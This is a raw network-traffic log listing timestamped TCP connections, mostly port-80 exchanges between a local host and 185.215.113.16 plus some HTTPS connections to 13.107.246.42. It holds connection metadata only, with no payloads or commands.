Nov 20, 2024 08:12:41.008112907 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008124113 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008136034 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008138895 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.008153915 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008166075 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008177996 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008189917 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008197069 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.008197069 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.008200884 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008214951 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008224964 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.008225918 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008266926 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.008266926 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.008501053 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008518934 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008529902 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008542061 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008553028 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008563995 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008574963 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008585930 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008596897 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008598089 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.008598089 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.008608103 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008619070 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008630991 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008642912 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008660078 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.008660078 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.008836031 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008847952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008862019 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008872986 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008897066 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.008897066 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.008976936 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.008989096 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009000063 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009011030 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009022951 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009033918 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009043932 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009047985 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009047985 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009059906 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009072065 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009078026 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009083033 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009095907 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009108067 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009113073 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009113073 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009149075 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009382963 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009401083 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009412050 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009423018 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009433985 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009437084 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009453058 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009464979 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009474039 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009474039 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009476900 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009489059 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009500027 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009505033 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009514093 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009522915 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009766102 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009778023 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009789944 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009802103 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009814024 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009818077 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009818077 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009819984 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009833097 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009844065 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009854078 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009861946 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009865046 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009877920 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009891987 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.009900093 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009900093 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.009969950 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.010109901 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010121107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010133982 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010152102 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010160923 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.010162115 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010174990 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010185957 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010196924 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010202885 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.010202885 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.010209084 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010221958 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010232925 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010243893 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010253906 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010257006 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.010267019 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010284901 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.010284901 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.010433912 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010477066 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.010507107 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010519981 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010566950 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010577917 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010588884 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010598898 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.010598898 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.010600090 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010618925 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.010797977 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010808945 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010819912 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010829926 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010840893 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010845900 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.010845900 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.010855913 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010868073 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010879993 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010891914 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.010910034 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.010910034 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011038065 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011075020 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011086941 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011097908 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011109114 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011120081 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011131048 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011158943 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011158943 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011162996 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011176109 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011188984 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011205912 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011214972 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011214972 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011217117 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011229992 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011250973 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011306047 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011326075 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011332989 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011338949 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011367083 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011418104 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011437893 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011451960 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011462927 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011472940 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011478901 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011483908 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011495113 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011507988 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011511087 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011511087 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011697054 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011708975 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011719942 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011732101 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011743069 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011744022 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011743069 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011755943 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011768103 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011776924 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011778116 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011790991 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011802912 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011820078 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011821032 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011821032 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011832952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.011838913 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.011888981 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.012998104 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.013083935 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.013096094 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.013107061 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.013164043 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.013164043 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.028978109 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.034815073 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.034832001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.034843922 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.034851074 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.034874916 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.034885883 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.034897089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.034909964 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.034979105 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.034979105 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.034996033 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035011053 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035171032 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035181999 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035192966 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035204887 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035222054 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035222054 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035224915 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035238981 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035249949 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035260916 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035271883 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035283089 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035283089 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035370111 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035382986 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035394907 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035406113 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035406113 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035406113 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035460949 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035471916 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035484076 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035494089 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035494089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035494089 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035507917 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035535097 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035535097 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035697937 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035708904 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035721064 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035732031 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035742998 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035753965 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035764933 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035775900 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035782099 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035782099 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035789013 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035800934 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035814047 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035845995 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035845995 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035940886 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035952091 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035967112 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:41.035999060 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.035999060 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.041704893 CET	443	49864	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.042093039 CET	443	49864	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.045041084 CET	49864	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.051244020 CET	49864	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.051261902 CET	443	49864	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.051275969 CET	49864	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.051282883 CET	443	49864	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.053965092 CET	49868	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.053997993 CET	443	49868	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.054337025 CET	443	49865	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.054366112 CET	49868	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.054491997 CET	443	49865	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.054534912 CET	443	49865	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.054534912 CET	49865	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.054641962 CET	49868	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.054651022 CET	443	49868	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.054712057 CET	49865	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.054794073 CET	49865	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.054794073 CET	49865	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.054810047 CET	443	49865	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.054820061 CET	443	49865	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.057564020 CET	49869	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.057605982 CET	443	49869	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.057931900 CET	49869	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.057931900 CET	49869	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.057979107 CET	443	49869	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.065097094 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:41.432111979 CET	443	49866	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.440293074 CET	49866	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.440315008 CET	443	49866	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.440844059 CET	49866	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.440855026 CET	443	49866	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.461690903 CET	443	49867	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.464332104 CET	49867	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.464349031 CET	443	49867	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.464657068 CET	49867	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.464673996 CET	443	49867	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.535650969 CET	443	49866	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.536329031 CET	443	49866	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.537022114 CET	49866	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.563267946 CET	443	49867	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.563558102 CET	443	49867	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.563868999 CET	49867	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.564382076 CET	49866	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.564414024 CET	443	49866	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.600430012 CET	443	49862	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.600826979 CET	443	49862	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.600887060 CET	49862	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.601016045 CET	49867	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.601016045 CET	49867	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.601046085 CET	443	49867	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.601063967 CET	443	49867	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.608957052 CET	49862	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.608989954 CET	443	49862	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.609010935 CET	49862	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.609018087 CET	443	49862	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.623825073 CET	443	49869	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.630223989 CET	49869	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.630249977 CET	443	49869	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.630709887 CET	49869	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.630721092 CET	443	49869	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.649955988 CET	49870	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.650007010 CET	443	49870	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.651062965 CET	49870	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.720645905 CET	443	49868	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.728964090 CET	443	49869	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.729223013 CET	443	49869	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.729710102 CET	49869	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.773713112 CET	49868	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.836993933 CET	49871	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.837054014 CET	443	49871	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.841531992 CET	49871	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.851955891 CET	49870	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.851974010 CET	443	49870	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.860405922 CET	49868	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.860413074 CET	443	49868	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.868320942 CET	49868	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.868328094 CET	443	49868	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.872409105 CET	49869	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.872448921 CET	443	49869	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.872986078 CET	49869	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.873003006 CET	443	49869	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.896990061 CET	49872	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:41.897037029 CET	443	49872	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:41.898735046 CET	49872	443	192.168.2.6	13.107.246.42
